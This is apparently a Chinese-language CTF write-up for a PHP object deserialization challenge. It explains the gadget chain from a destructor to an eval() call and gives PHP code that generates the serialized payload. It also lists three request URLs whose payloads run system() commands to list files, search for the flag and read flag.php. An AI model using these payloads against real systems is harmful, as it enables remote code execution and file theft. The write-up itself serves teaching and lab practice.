Polar Web【中等】反序列化

Polar Web【中等】反序列化

Contents

思路&探索

一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。

  1. 打开站点,分析PHP代码:
    • 可以发现,需要实现触发命令执行的位置在 process 类中的 close 函数的 eval()
    • 能够触发 close() 调用的方式 ------ 创建 example 实例,触发运行结束时 __destruct() 执行
    • 其中,使得成员变量 handle 为所需要的 process 实例,便可形成完整的调用链
  2. 按照上述思路,在本地拷贝两个类,并实现调用链,并调用 echo 输出序列字符串在页面上,具体见下文图中
  3. 按照站点提示,将序列字符串以 data 参数进行 GET 传参:
    • 初次使用 ls 命令,发现已处在根目录下,并未发现flag,故考虑使用命令 find / | grep flag,找出 flag 具体位置
    • 最后下达 cat /var/www/flag.php 命令,虽没有直接回显,查看源码可获取 flag

EXP

PHP生成Payload

php 复制代码
<?php
    class process{
        public $pid;
        function close(){
            eval($this->pid);
        }
    }
	
	$a = new example();
	$a->handle = new process();
	// 	$a->handle->pid = "system('ls');";
	// 	$a->handle->pid = "system('find / | grep flag');";
	$a->handle->pid = "system('cat /var/www/html/flag.php');";
	
	echo serialize($a);
?>



GET传递参数

python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}
python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:29:"system('find / | grep flag');";}}
python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}

运行&总结

  • 借用本经典的反序列化题目,记录如何用PHP代码辅助生成所需的序列字符串
  • 找出合适的调用链,是为代码审计之要点

敬,不完美的明天

相关推荐
老猿讲编程2 小时前
安全C语言编码规范概述
c语言·开发语言·安全
你怎么睡得着的!3 小时前
【护网行动-红蓝攻防】第一章-红蓝对抗基础 认识红蓝紫
网络·安全·web安全·网络安全
禁默5 小时前
【第四届网络安全、人工智能与数字经济国际学术会议(CSAIDE 2025】网络安全,人工智能,数字经济的研究
人工智能·安全·web安全·数字经济·学术论文
冰淇淋百宝箱8 小时前
AI 安全时代:SDL与大模型结合的“王炸组合”——技术落地与实战指南
人工智能·安全
网络安全(king)8 小时前
网络安全知识:网络安全网格架构
安全·web安全·架构
anddddoooo8 小时前
域内证书维权
服务器·网络·网络协议·安全·网络安全·https·ssl
Dyan_csdn8 小时前
【Python项目】基于Python的Web漏洞挖掘系统
网络·python·安全·web安全
Moyo20312 小时前
前端web安全
前端·安全·web安全
哥坐11路13 小时前
网络IP跳动问题解决详
开发语言·php
JSZNZZ13 小时前
汽车软件︱AUTO TECH China 2025 广州国际汽车软件与安全技术展览会:开启汽车科技新时代
科技·安全·汽车